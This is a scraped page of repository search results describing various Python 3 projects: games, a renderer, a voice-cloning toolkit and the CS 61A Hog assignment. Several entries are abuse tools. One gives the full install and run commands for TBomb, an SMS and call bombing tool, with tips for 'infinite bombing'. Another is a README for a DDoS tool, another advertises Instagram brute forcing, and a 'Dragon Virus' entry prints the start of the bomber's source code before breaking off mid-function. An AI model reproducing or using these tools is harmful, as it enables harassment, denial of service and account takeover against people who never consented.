120 skills found · Page 4 of 4
coderAadmi / The Space Shooter GameThe Space Shooter It is a Game application built with python 3.7 using Pygame , Os and Shelve modules of python. It uses Pygame library for the GUI and sounds of the game. Os module is used to join paths for filenames to their associated directories. Shelve module is used to store high score of the player as a record file which is stored in the same directory. The Space shooter is an arcade game developed from classic arcade game genre, old game but with a new context, more glamorous and more vivid graphics. Our galaxy is under attack by alien’s ships and UFO’s, they are here to invade our galaxy by destroying all the planets and lifeforms of our galaxy. Now, you are the only fighter capable in our galaxy who can fight these aliens and protect our galaxy from these aliens. You have to destroy all the alien’s starships and UFO’s and you also have to be careful from the meteorites that are already there in our galaxy’s space as they can also destroy your spaceship. You can shoot high powered red colored laser bullets which can damage any meteorite as well as alien’s spaceships. You can move in X-direction by pressing LEFT or RIGHT arrow to move left and right in the space respectively. You can shoot laser bullets by pressing SPACE button. This project is based on the classic arcade game and is made using basic game loop technique. It uses sprites for all the animations. A sprite is a bitmap graphic that is designed to be a part of larger screen. It can either be a static image or an animated graphic. In a game application, everything is done in the GAME LOOP that is run infinitely until the game is not over. The game loop takes all events from the user and based on those events it updates all the sprites on the game screen accordingly and then it renders all the sprites on the main screen. On the start screen, the animation for start screen is displayed and by pressing ‘N’ new game will be started. New game is started by initializing all sprite groups, meteorite’s groups, enemy’s groups, bullet groups and initializes the player. When game is running, if ESCAPE is pressed then game is paused and PAUSE screen is displayed on which there are instructions to resume the game, to load the new game and to mute the background music of game. When user opts to load new game on game’s PAUSE screen then firstly game is over and GAME OVER screen is displayed on which by pressing N new game can be loaded and if CROSS button of the game window is pressed then also it displays the GAME OVER screen. On the GAME START screen, if CROSS button of game window is pressed then it leads to GAME OVER screen. On the GAME OVER or GAME START screen, if N is pressed then new game is started and if CROSS button of the game window is pressed then the game window is closed. By pressing SPACE button, laser bullets are shoot which can damage the meteorites and enemies and ultimately destroys them. You also have to be careful from getting hit by green laser bullets shoot by the enemy UFO’s and green spaceships by moving left and right in the space and also be careful from meteorites as they can damage your spaceship. Player gets 3 lives and a full health in the start and these are shown in the top of the game screen. Whenever player destroys an enemy’s spaceship or UFO or a meteorite, player’s score is increased that is shown in the middle portion of the top of the game screen. When player has no life left and player’s health gets to zero then game is over and if player’s score is greater than current high score then on GAME OVER screen, new high score will be displayed. For GUI of game, pygame’s Sprite class is extensively used by overriding it’s methods for all sprite’s movements. And for sounds of the game, pygame’s mixer.music module and mixer.Sound class is used. Pygame.mixer.music is used to play the background music of the game and mixer.Sound class is used to play shooting and explosion sounds of game. High score is saved in ‘.db’ record file using Shelve module of python.
ecann / RenderPyA software renderer written from scratch in Python 3, using only modules from the Python Standard Library.
patters-match / Gba Emu Compilation BuildersPython 3 scripts to build emulator + ROM compilations for various emulators for Gameboy Advance. Cross-platform replacements for the original 32bit Windows-only tools.
fairbird / Openpli Dreambox Oe CoreBuild-environment for DreamBox Only with Python 3
roder / AosongAOSONG Sensors Python 3 package. Currently only supports the AM2315 temperature and humidity sensor.
astrojuanlu / Python IdealistaPython 3 library for Idealista API (invitation only)
0x0mastermind0x0 / Instagram Brute Force 2024Instagram Brute Force 2024 compatible with python 3.13 / x64 bit / Only Chrome Browser
Shriku / Python Programming Zero To HeroPython is an object oriented high level programming language. One of the simplest programming languages of all, and also the most used language for creating System Security programs. It is Simple, yet the most powerful programming language which is very close to the Machine Language. If you have never programmed before, but you have little knowledge of how a computer works, then this the right place to start. After learning this course, one can start to build their own System programs, and also basic malware testing programs. This course is for those who want to learn how to program in python. It is intended to suit a wide audience, though not for absolute beginners. This course is targeted towards people who already have basic in either python or any other programming language. This course takes in consideration that you already know what loops, conditions, statements and variables are. This course will take you through the following chapters: Abstraction I and II, Exceptions in programs, Methods, properties and iterators, Standard Libraries and Python programming with Files. This will complete your intermediate training in Python Programming and how data structures are created and implemented in software’s. If you already know python, but other versions earlier than Python3.0, then you can start with this course to upgrade yourself with necessary modules. Some of the material in this course may be a bit difficult for an inexperienced programmer. However, once you start writing and practicing the examples in this course and writing your own codes based on these examples, then it will become quite practical for you to understand these terms. If you don’t understand some specific terms in the first bit, go through the tutorials again. Practice and Repetition are the keys to learning. This Course is in depth summary of the Core of Python. So, if you already have the basics in python, then it will be extremely easy to understand. Even if you don’t have the basics, then you can just search the specific terms used in here, understand only those and then come back to clear the advanced topics in these tutorials. This course will take you through the journey of interacting with system files using IDLE or the Python Interpreter, Creating your own servers and clients using socket programming, Understanding the database support for python with SQlite. There are also chapters which will teach you how to create your own programs which can interact with open files in any platform (UNIX, Linux, Windows or Mac). There is also a vast area covered in this course about Web Programming with Python covering the four most important topics as CGI, Screen Scraping, mod_python and Web Services. And finally there is testing, debugging and logging in Python. So, by completing this course, you will finally be able to write your own programs and test them on various platforms. The Main Idea of this course is to make the learner an advanced programmer having knowledge in bits and bytes in all various environments in Python programming. What are the requirements? Basics in Any Programming Language Basic Computer Knowledge Basics in Python such as ‘loops, variables, conditions and statements’(knowing any other language would be an added advantage) Basics in Python (knowing basic C,C++ and a bit about network programming would be an added advantage) What am I going to get from this course? Over 73 lectures and 10 hours of content! This course will clear advanced programming knowledge in Python Learn Abstraction I and II, Exceptions in programs, Methods, properties and iterators, Standard Libraries and Python programming with Files This course will take you through the journey of interacting with system files using IDLE or the Python Interpreter, Creating your own servers and clients using socket programming, Understanding the database support for python with SQlite. Learn Web Programming with Python covering the four most important topics as CGI, Screen Scraping, mod_python and Web Services Learn testing, debugging and logging in Python What is the target audience? Students Professionals Anyone who wants to learn a new Version i.e. Python 3.4.2
mafiamasterhere / Real Time Voice CloningQuick start Requirements You will need the following whether you plan to use the toolbox only or to retrain the models. Python 3.7. Python 3.6 might work too, but I wouldn't go lower because I make extensive use of pathlib. Run pip install -r requirements.txt to install the necessary packages. Additionally you will need PyTorch (>=1.0.1). A GPU is mandatory, but you don't necessarily need a high tier GPU if you only want to use the toolbox. Pretrained models Download the latest here. Preliminary Before you download any dataset, you can begin by testing your configuration with: python demo_cli.py If all tests pass, you're good to go. Datasets For playing with the toolbox alone, I only recommend downloading LibriSpeech/train-clean-100. Extract the contents as <datasets_root>/LibriSpeech/train-clean-100 where <datasets_root> is a directory of your choosing. Other datasets are supported in the toolbox, see here. You're free not to download any dataset, but then you will need your own data as audio files or you will have to record it with the toolbox. Toolbox You can then try the toolbox: python demo_toolbox.py -d <datasets_root> or python demo_toolbox.py depending on whether you downloaded any datasets. If you are running an X-server or if you have the error Aborted (core dumped), see this issue. Wiki How it all works (WIP - stub, you might be better off reading my thesis until it's done) Training models yourself Training with other data/languages (WIP - see here for now) TODO and planned features
flybunctious / The Game Of HogIntroduction In this project, you will develop a simulator and multiple strategies for the dice game Hog. You will need to use control statements and higher-order functions together, as described in Sections 1.2 through 1.6 of Composing Programs. In Hog, two players alternate turns trying to be the first to end a turn with at least 100 total points. On each turn, the current player chooses some number of dice to roll, up to 10. That player's score for the turn is the sum of the dice outcomes. To spice up the game, we will play with some special rules: Pig Out. If any of the dice outcomes is a 1, the current player's score for the turn is 1. Example 1: The current player rolls 7 dice, 5 of which are 1's. They score 1 point for the turn. Example 2: The current player rolls 4 dice, all of which are 3's. Since Pig Out did not occur, they score 12 points for the turn. Free Bacon. A player who chooses to roll zero dice scores one more than the largest digit in the opponent's total score. Example 1: If the opponent has 42 points, the current player gains 1 + max(4, 2) = 5 points by rolling zero dice. Example 2: If the opponent has 48 points, the current player gains 1 + max(4, 8) = 9 points by rolling zero dice. Example 3: If the opponent has 7 points, the current player gains 1 + max(0, 7) = 8 points by rolling zero dice. Swine Swap. After points for the turn are added to the current player's score, if both scores are larger than 1 and either one of the scores is a positive integer multiple of the other, then the two scores are swapped. Example 1: The current player has a total score of 37 and the opponent has 92. The current player rolls two dice that total 9. The opponent's score (92) is exactly twice the player's new total score (46). These scores are swapped! The current player now has 92 points and the opponent has 46. The turn ends. Example 2: The current player has 91 and the opponent has 37. The current player rolls five dice that total 20. The current player has 111, which is 3 times 37, so the scores are swapped. The opponent ends the turn with 111 and wins the game. Download starter files To get started, download all of the project code as a zip archive. You only have to make changes to hog.py. hog.py: A starter implementation of Hog dice.py: Functions for rolling dice hog_gui.py: A graphical user interface for Hog ucb.py: Utility functions for CS 61A ok: CS 61A autograder tests: A directory of tests used by ok images: A directory of images used by hog_gui.py Logistics This is a 2-week project. This is a solo project, so you will complete this project without a partner. You should not share your code with any other students, or copy from anyone else's solutions. Remember that you can earn an additional bonus point by submitting the project at least 24 hours before the deadline. The project is worth 20 points. 18 points are assigned for correctness, and 2 points for the overall composition of your program. You will turn in the following files: hog.py You do not need to modify or turn in any other files to complete the project. To submit the project, run the following command: python3 ok --submit You will be able to view your submissions on the Ok dashboard. For the functions that we ask you to complete, there may be some initial code that we provide. If you would rather not use that code, feel free to delete it and start from scratch. You may also add new function definitions as you see fit. However, please do not modify any other functions. Doing so may result in your code failing our autograder tests. Also, please do not change any function signatures (names, argument order, or number of arguments). Testing Throughout this project, you should be testing the correctness of your code. It is good practice to test often, so that it is easy to isolate any problems. However, you should not be testing too often, to allow yourself time to think through problems. We have provided an autograder called ok to help you with testing your code and tracking your progress. The first time you run the autograder, you will be asked to log in with your Ok account using your web browser. Please do so. Each time you run ok, it will back up your work and progress on our servers. The primary purpose of ok is to test your implementations, but there are two things you should be aware of. First, some of the test cases are locked. To unlock tests, run the following command from your terminal: python3 ok -u This command will start an interactive prompt that looks like: ===================================================================== Assignment: The Game of Hog Ok, version ... ===================================================================== ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Unlocking tests At each "? ", type what you would expect the output to be. Type exit() to quit --------------------------------------------------------------------- Question 0 > Suite 1 > Case 1 (cases remaining: 1) >>> Code here ? At the ?, you can type what you expect the output to be. If you are correct, then this test case will be available the next time you run the autograder. The idea is to understand conceptually what your program should do first, before you start writing any code. Once you have unlocked some tests and written some code, you can check the correctness of your program using the tests that you have unlocked: python3 ok Most of the time, you will want to focus on a particular question. Use the -q option as directed in the problems below. We recommend that you submit after you finish each problem. Only your last submission will be graded. It is also useful for us to have more backups of your code in case you run into a submission issue. The tests folder is used to store autograder tests, so do not modify it. You may lose all your unlocking progress if you do. If you need to get a fresh copy, you can download the zip archive and copy it over, but you will need to start unlocking from scratch. If you do not want us to record a backup of your work or information about your progress, use the --local option when invoking ok. With this option, no information will be sent to our course servers. Graphical User Interface A graphical user interface (GUI, for short) is provided for you. At the moment, it doesn't work because you haven't implemented the game logic. Once you complete the play function, you will be able to play a fully interactive version of Hog! In order to render the graphics, make sure you have Tkinter, Python's main graphics library, installed on your computer. Once you've done that, you can run the GUI from your terminal: python3 hog_gui.py Once you complete the project, you can play against the final strategy that you've created! python3 hog_gui.py -f Phase 1: Simulator In the first phase, you will develop a simulator for the game of Hog. Problem 0 (0 pt) The dice.py file represents dice using non-pure zero-argument functions. These functions are non-pure because they may have different return values each time they are called. The documentation of dice.py describes the two different types of dice used in the project: Dice can be fair, meaning that they produce each possible outcome with equal probability. Example: six_sided. For testing functions that use dice, deterministic test dice always cycle through a fixed sequence of values that are passed as arguments to the make_test_dice function. Before we start writing any code, let's understand the make_test_dice function by unlocking its tests. python3 ok -q 00 -u This should display a prompt that looks like this: ===================================================================== Assignment: Project 1: Hog Ok, version v1.5.2 ===================================================================== ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Unlocking tests At each "? ", type what you would expect the output to be. Type exit() to quit --------------------------------------------------------------------- Question 0 > Suite 1 > Case 1 (cases remaining: 1) >>> test_dice = make_test_dice(4, 1, 2) >>> test_dice() ? You should type in what you expect the output to be. To do so, you need to first figure out what test_dice will do, based on the description above. You can exit the unlocker by typing exit() (without quotes). Typing Ctrl-C on Windows to exit out of the unlocker has been known to cause problems, so avoid doing so. Problem 1 (2 pt) Implement the roll_dice function in hog.py. It takes two arguments: a positive integer called num_rolls giving the number of dice to roll and a dice function. It returns the number of points scored by rolling the dice that number of times in a turn: either the sum of the outcomes or 1 (Pig Out). To obtain a single outcome of a dice roll, call dice(). You should call dice() exactly num_rolls times in the body of roll_dice. Remember to call dice() exactly num_rolls times even if Pig Out happens in the middle of rolling. In this way, we correctly simulate rolling all the dice together. Checking Your Work: Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 01 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 01 If the tests don't pass, it's time to debug. You can observe the behavior of your function using Python directly. First, start the Python interpreter and load the hog.py file. python3 -i hog.py Then, you can call your roll_dice function on any number of dice you want, such as 4. >>> roll_dice(4) In most systems, you can evaluate the same expression again by pressing the up arrow or Control-P, then pressing enter or return. You should find that evaluating this call expression gives a different answer each time, since dice rolls are random. The roll_dice function has a default argument value for dice that is a random six-sided dice function. You can also use test dice that fix the outcomes of the dice in advance. For example, rolling twice when you know that the dice will come up 3 and 4 should give a total outcome of 7. >>> fixed_dice = make_test_dice(3, 4) >>> roll_dice(2, fixed_dice) 7 If you find a problem, you need to change your hog.py file, save it, quit Python, start it again, and then start evaluating expressions. Pressing the up arrow should give you access to your previous expressions, even after restarting Python. Once you think that your roll_dice function is correct, run the ok tests again. Tests like these don't prove that your program is exactly correct, but they help you build confidence that this part of your program does what you expect, so that you can trust the abstraction it defines as you proceed. Problem 2 (1 pt) Implement the free_bacon helper function that returns the number of points scored by rolling 0 dice, based on the opponent's current score. You can assume that score is less than 100. For a score less than 10, assume that the first of the two digits is 0. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 02 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 02 You can also test free_bacon interactively by entering python3 -i hog.py in the terminal and then calling free_bacon with various inputs. Problem 3 (1 pt) Implement the take_turn function, which returns the number of points scored for a turn by the current player. Your implementation should call roll_dice when possible. You will need to implement the Free Bacon rule. You can assume that opponent_score is less than 100. Call free_bacon in your implementation of take_turn. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 03 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 03 Problem 4 (1 pt) Implement is_swap, which returns whether or not the scores should be swapped because one is an integer multiple of the other. The is_swap function takes two arguments: the player scores. It returns a boolean value to indicate whether the Swine Swap condition is met. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 04 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 04 Problem 5 (3 pt) Implement the play function, which simulates a full game of Hog. Players alternate turns, each using their respective strategy function (Player 0 uses strategy0, etc.), until one of the players reaches the goal score. When the game ends, play returns the final total scores of both players, with Player 0's score first, and Player 1's score second. Here are some hints: You should use the functions you have already written! You will need to call take_turn with all three arguments. Only call take_turn once per turn. Enforce all the special rules. You can get the number of the other player (either 0 or 1) by calling the provided function other. You can ignore the say argument to the play function for now. You will use it in Phase 2 of the project. A strategy is a function that, given a player's score and their opponent's score, returns how many dice the player wants to roll. A strategy function (such as strategy0 and strategy1) takes two arguments: scores for the current player and opposing player, which both must be non-negative integers. A strategy function returns the number of dice that the current player wants to roll in the turn. Each strategy function should be called only once per turn. Don't worry about the details of implementing strategies yet. You will develop them in Phase 3. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 05 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 05 The last test for Question 5 is a fuzz test, which checks that your play function works for a large number of different inputs. Failing this test means something is wrong, but you should look at other tests to see where the problem might be. Once you are finished, you will be able to play a graphical version of the game. We have provided a file called hog_gui.py that you can run from the terminal: python3 hog_gui.py If you don't already have Tkinter (Python's graphics library) installed, you'll need to install it first before you can run the GUI. The GUI relies on your implementation, so if you have any bugs in your code, they will be reflected in the GUI. This means you can also use the GUI as a debugging tool; however, it's better to run the tests first. Congratulations! You have finished Phase 1 of this project! Phase 2: Commentary In the second phase, you will implement commentary functions that print remarks about the game, such as, "22 points! That's the biggest gain yet for Player 1." A commentary function takes two arguments, the current score for Player 0 and the current score for Player 1. It returns another commentary function to be called on the next turn. It may also print some output as a side effect of being called. The function say_scores in hog.py is an example of a commentary function. The function announce_lead_changes is an example of a higher-order function that returns a commentary function. def say_scores(score0, score1): """A commentary function that announces the score for each player.""" print("Player 0 now has", score0, "and Player 1 now has", score1) return say_scores def announce_lead_changes(previous_leader=None): """Return a commentary function that announces lead changes. >>> f0 = announce_lead_changes() >>> f1 = f0(5, 0) Player 0 takes the lead by 5 >>> f2 = f1(5, 12) Player 1 takes the lead by 7 >>> f3 = f2(8, 12) >>> f4 = f3(8, 13) >>> f5 = f4(15, 13) Player 0 takes the lead by 2 """ def say(score0, score1): if score0 > score1: leader = 0 elif score1 > score0: leader = 1 else: leader = None if leader != None and leader != previous_leader: print('Player', leader, 'takes the lead by', abs(score0 - score1)) return announce_lead_changes(leader) return say Problem 6 (2 pt) Update your play function so that a commentary function is called at the end of each turn. say(score0, score1) should be called at the end of the first turn. Its return value (another commentary function) should be called at the end of the second turn. Each turn, a new commentary function should be called that is the return value of the previous call to a commentary function. Also implement both, a function that takes two commentary functions (f and g) and returns a new commentary function. This new commentary function returns another commentary function which calls the functions returned by calling f and g, in that order. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 06 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 06 Problem 7 (2 pt) Implement the announce_highest function, which is a higher-order function that returns a commentary function. This commentary function announces whenever a particular player gains more points in a turn than ever before. To compute the gain, it must compare the score from last turn to the score from this turn for the player of interest, which is designated by the who argument. This function must also keep track of the highest gain for the player so far. The way in which announce_highest announces is very specific, and your implementation should match the doctests provided. Notice in particular that if the gain is only 1 point, then the message includes "point" in singular form. If the gain is larger, then the message includes "points" in plural form. Use Ok to test your code: python3 ok -q 07 Hint. The announce_lead_changes function provided to you is an example of how to keep track of information using commentary functions. If you are stuck, first make sure you understand how announce_lead_changes works. When you are done, if play the game again, you will see the commentary. python3 hog_gui.py The commentary in the GUI is generated by passing the following function as the say argument to play. both(announce_highest(0), both(announce_highest(1), announce_lead_changes())) Great work! You just finished Phase 2 of the project! Phase 3: Strategies In the third phase, you will experiment with ways to improve upon the basic strategy of always rolling a fixed number of dice. First, you need to develop some tools to evaluate strategies. Problem 8 (2 pt) Implement the make_averaged function, which is a higher-order function that takes a function fn as an argument. It returns another function that takes the same number of arguments as fn (the function originally passed into make_averaged). This returned function differs from the input function in that it returns the average value of repeatedly calling fn on the same arguments. This function should call fn a total of num_samples times and return the average of the results. To implement this function, you need a new piece of Python syntax! You must write a function that accepts an arbitrary number of arguments, then calls another function using exactly those arguments. Here's how it works. Instead of listing formal parameters for a function, we write *args. To call another function using exactly those arguments, we call it again with *args. For example, >>> def printed(fn): ... def print_and_return(*args): ... result = fn(*args) ... print('Result:', result) ... return result ... return print_and_return >>> printed_pow = printed(pow) >>> printed_pow(2, 8) Result: 256 256 >>> printed_abs = printed(abs) >>> printed_abs(-10) Result: 10 10 Read the docstring for make_averaged carefully to understand how it is meant to work. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 08 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 08 Problem 9 (1 pt) Implement the max_scoring_num_rolls function, which runs an experiment to determine the number of rolls (from 1 to 10) that gives the maximum average score for a turn. Your implementation should use make_averaged and roll_dice. If two numbers of rolls are tied for the maximum average score, return the lower number. For example, if both 3 and 6 achieve a maximum average score, return 3. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 09 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 09 To run this experiment on randomized dice, call run_experiments using the -r option: python3 hog.py -r Running experiments For the remainder of this project, you can change the implementation of run_experiments as you wish. By calling average_win_rate, you can evaluate various Hog strategies. For example, change the first if False: to if True: in order to evaluate always_roll(8) against the baseline strategy of always_roll(4). You should find that it wins slightly more often than it loses, giving a win rate around 0.5. Some of the experiments may take up to a minute to run. You can always reduce the number of samples in make_averaged to speed up experiments. Problem 10 (1 pt) A strategy can take advantage of the Free Bacon rule by rolling 0 when it is most beneficial to do so. Implement bacon_strategy, which returns 0 whenever rolling 0 would give at least margin points and returns num_rolls otherwise. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 10 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 10 Once you have implemented this strategy, change run_experiments to evaluate your new strategy against the baseline. You should find that it wins more than half of the time. Problem 11 (2 pt) A strategy can also take advantage of the Swine Swap rule. The swap_strategy rolls 0 if it would cause a beneficial swap. It also returns 0 if rolling 0 would give at least margin points and would not cause a swap. Otherwise, the strategy rolls num_rolls. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 11 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 11 Once you have implemented this strategy, update run_experiments to evaluate your new strategy against the baseline. You should find that it gives a significant edge over always_roll(4). Optional: Problem 12 (0 pt) Implement final_strategy, which combines these ideas and any other ideas you have to achieve a high win rate against the always_roll(4) strategy. Some suggestions: swap_strategy is a good default strategy to start with. There's no point in scoring more than 100. Check whether you can win by rolling 0, 1 or 2 dice. If you are in the lead, you might take fewer risks. Try to force a beneficial swap. Choose the num_rolls and margin arguments carefully. You can check that your final strategy is valid by running Ok. python3 ok -q 12 You can also check your exact final winrate by running python3 calc.py At this point, run the entire autograder to see if there are any tests that don't pass. python3 ok Once you are satisfied, submit to Ok to complete the project. python3 ok --submit You can also play against your final strategy with the graphical user interface: python3 hog_gui.py -f The GUI will alternate which player is controlled by you. Congratulations, you have reached the end of your first CS 61A project! If you haven't already, relax and enjoy a few games of Hog with a friend.
Trickyabhi / Tricky AbhiDue misusing of TBomb, several API's died. Don't be afraid if you don't see all send messages. The script requires working network connection to work. No balance will be deducted for using this script to send SMS/calls. While doing infinite bombing use 2-3 seconds delay and 10 to 20 threads for maximum performance. Don't put spaces in between phone number (Ex- 99999 99999) Make sure you are using the latest version of TBomb Make sure you are using Python3. Here's how you can check it. Type this command in your terminal. $ python -V If output looks like Python 3 - Congrats, Python 3 is installed properly. Do not use this to harm others. This script is only for educational purposes or to prank. None of the developers/contributors are responsible for the misuse of TBomb. Features: Lots of integrated SMS/call APIs Unlimited (Limited against abusing) and super-fast bombing International bombing available (APIS Dead. Try Your Luck.) Call bombing Frequent updates Automatic updating mechanism Easy to use and embed in code Usage: Run these commands to run TBomb > For Termux: Notice: git installation methods are not universal and do differ between distributions, so, installing git as per instructions below may not work. Please check out how to install git for your Linux distribution. Commands below provide instructions for Debian-based systems. To use the bomber type the following commands in Termux: pkg install git pkg install python git clone https://github.com/QueenArzoo/TBomb.git cd TBomb chmod +x TBomb.sh ./TBomb.sh > For Linux: Notice: git installation methods are not universal and do differ between distributions, so, installing git as per instructions below may not work. Please check out how to install git for your Linux distribution. Commands below provide instructions for Debian-based systems. To use the bomber type the following commands in Linux terminal: sudo apt install git git clone https://github.com/QueenArzoo/TBomb.git cd TBomb chmod +x TBomb.sh sudo bash TBomb.sh > For macOS: To use the bomber type the following commands in macOS terminal: # Install Brew: /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" # Install dependencies: brew install git brew install python3 sudo easy_install pip sudo pip install --upgrade pip git clone https://github.com/QueenArzoo/TBomb.git cd TBomb chmod +x TBomb.sh # Missing Tools on MacOS Toilet cannot be installed yet. But TBomb does still work. # Run TBomb: sudo bash TBomb.sh
iDarrylPiul / DDoS# Anonymous DDoS Tool This DDoS Tool has been written by Muneeb Khurram, and this Script could only be used for Educational Purposes see License. Now added a GUI with only Two Dependancies Pyfiglet and GoLang. ## Installation #### - Dependancies a) pyttsx3 (Text-to-Speech) Just to make it cooler. Not Neccesary for GUI. ``` pip3 install pyttsx3 ``` b) pyfiglet (Cause its Neccesary to be Cooler) Install Figlet in Kali Linux as some results show that pyfiglet doesnt show anything. ``` sudo apt-get install figlet ``` ``` pip3 install pyfiglet ``` c) colorama (Another Step towards CLI Beauty) ``` pip3 install colorama ```` d) os (Already in Python3) ``` pip3 install os ``` e) socket (For an Upcomming Release) ``` pip3 install socket ``` f) wheel (To make wheel of colorama) ``` pip3 install wheel ``` e) GoLang (Download for your OS form Golang.org/dl/) ### MacOS > https://medium.com/golang-learn/quick-go-setup-guide-on-mac-os-x-956b327222b8 ### Windows > https://www.geeksforgeeks.org/how-to-install-go-on-windows/ ### Linux > https://tecadmin.net/install-go-on-ubuntu/ ``` sudo apt-get install golang ``` or ``` sudo apt-get install golang-go ``` ### Kali Linux Kali has GoLang Pre-Installed. Check by typing; ``` go ``` If not Follow, the above shown for Linux/Ubuntu ## Other Use Install_Dependancies.py to Install all of these except GoLang (it has to be downloaded Manually) ```` python3 Install_Dependancies.py ```` ## Usage ```` python3 Python-Script.py ```` ## GUI Requirements > Install Pyfiglet and GoLang as Above and you are ready to go. Use this if you cannot satisfy one of the above dependancies. Highly Easy to use. Recommended for Beginners using Windows. If you use this on a Linux Distro and get tkinter not found install tkinter. ``` python3 DDoS_GUI.py ``` ## Tested OS/ENV - Linux Stable Release 2020 - Kali Linux 2019.3 - Google Colab - Windows 10 - MacOS X 10.10.5 Onwards (OS X Yosmite) > This should run on all enviorments. Even on Oldest OS's provided the above dependancies are completed ## Images Showing some Interfaces and their Interactive Enviorments.    ## License All Copyrights Reserved to Muneeb Khurram, HULK-DoS Tool’s Copyrights to their Authors as well. For all the Script Kiddes out there, Welcome to DDoS Heaven’s. See License before using
MariamGado0 / Starbucks Capstone Project ML Udacity Aws# Starbucks Promotions Project ### This project is the Capstone Project of Udacity's Machine Learning Engineering Nanodegree program.    ## Problem Statement This data set contains simulated data that mimics customer behavior on the Starbucks rewards mobile app. Once every few days, Starbucks sends out an offer to users of the mobile app. An offer can be merely an advertisement for a drink or an actual offer such as a discount or BOGO (buy one get one free). Some users might not receive any offer during certain weeks. Not all users receive the same offer, and that is the challenge to solve with this data set. The task is to combine transaction, demographic and offer data to determine which demographic groups respond best to which offer type. This data set is a simplified version of the real Starbucks app because the underlying simulator only has one product whereas Starbucks actually sells dozens of products. Starbucks collects the customer data to understand their behaviour on the rewards and offers sent via the mobile-app. Once every few days, Starbucks sends the personalised offers to its customers. These customers can respond positively/negatively/neutrally. A key thing to note is that not all the customers receive the same offer. The task of this project is to combine transaction, demographic and offer data of the past (which is already provided) to determine which demographic groups respond best to which offer types. In order to develop this project, we needed to use some tools, packages, systems and services that could help us achieve our goals. #### Libraries First of all, we used **Python** to write our scripts not only for algorithm training and serving but also for the orchestration of the whole process. Important packages within this environment are listed below: This project is developed in Python 3.6. You will need install some libraries in order to run the code. Libraries are: * `pandas` so we could work with tabular data in dataframes; * `Ploty` so we could visualize our Dataset; * `matplotlib` for Dataset visualization; * `numpy` so we could easily manipulate arrays and data structures; * `seaborn` and `matplotlib` so we could generate insightful visualizations; * `sklearn` so we could build and develop our model pipeline; * `imblearn` so we could apply SMOTE to our training data; * `xgboost` so we could have our main classifier; * `sagemaker` so we could easily interact with AWS. * `json` for reading our Dataset Files. * `boto3` Finally, we used AWS environment in order to launch training jobs, deploy our model and serve predictions. The main services used are also listed below: * __AWS SageMaker__: training, hyperparameter tuning and endpoint serving; * __Amazon S3__: saving our data and model artifacts; ## Files Descriptions This project is structured as follows: #### 01. Proposal Project proposal documentation. #### 02. Data_Cleaning_[Dataset] Folder to perform data preparation and Dataset Cleaning and Prepare the Final Data for Further using in model algorithms. #### 03. Pre-processing Dataset Visualization Folder to perform final Pre-processing Dataset to be used in Visualization and exploration. #### 04. Dataset_Visualization Folder to perform Visualizations for the Pre-processed Dataset. #### 06. ORG_Starbucks_Capstone_Project.ipynb Jupyter notebook file that deploy final model and create an endpoint and orchestrates the end-to-end process in AWS SageMaker and also interacts with other services.
Anonymous69-hub / Dragon Virus 2.01eh6mqlqs5@xdsedr.tech#!/usr/bin/python # -*- coding: UTF-8 -*- import os import shutil import sys import subprocess import string import random import json import re import time import argparse import zipfile from io import BytesIO from concurrent.futures import ThreadPoolExecutor, as_completed from utils.decorators import MessageDecorator from utils.provider import APIProvider try: import requests from colorama import Fore, Style except ImportError: print("\tSome dependencies could not be imported (possibly not installed)") print( "Type `pip3 install -r requirements.txt` to " " install all required packages") sys.exit(1) def readisdc(): with open("isdcodes.json") as file: isdcodes = json.load(file) return isdcodes def get_version(): try: return open(".version", "r").read().strip() except Exception: return '1.0' def clr(): if os.name == "nt": os.system("cls") else: os.system("clear") def bann_text(): clr() logo = """ ████████ █████ ██ ▒▒▒██▒▒▒ ██▒▒██ ██ ██ ██ ██ ██ ██ ██ ██ █████▒ ████ ███ ███ █████ ██ ██▒▒██ ██ ██ ██▒█▒██ ██▒▒██ ██ ██ ██ ██ ██ ██ ▒ ██ ██ ██ ██ █████▒ ▒████▒ ██ ██ █████▒ ▒▒ ▒▒▒▒▒ ▒▒▒▒ ▒▒ ▒▒ ▒▒▒▒▒ """ if ASCII_MODE: logo = "" version = "Version: "+__VERSION__ contributors = "Contributors: "+" ".join(__CONTRIBUTORS__) print(random.choice(ALL_COLORS) + logo + RESET_ALL) mesgdcrt.SuccessMessage(version) mesgdcrt.SectionMessage(contributors) print() def check_intr(): try: requests.get("https://motherfuckingwebsite.com") except Exception: bann_text() mesgdcrt.FailureMessage("Poor internet connection detected") sys.exit(2) def format_phone(num): num = [n for n in num if n in string.digits] return ''.join(num).strip() def do_zip_update(): success = False if DEBUG_MODE: zip_url = "https://github.com/TheSpeedX/TBomb/archive/dev.zip" dir_name = "TBomb-dev" else: zip_url = "https://github.com/TheSpeedX/TBomb/archive/master.zip" dir_name = "TBomb-master" print(ALL_COLORS[0]+"Downloading ZIP ... "+RESET_ALL) response = requests.get(zip_url) if response.status_code == 200: zip_content = response.content try: with zipfile.ZipFile(BytesIO(zip_content)) as 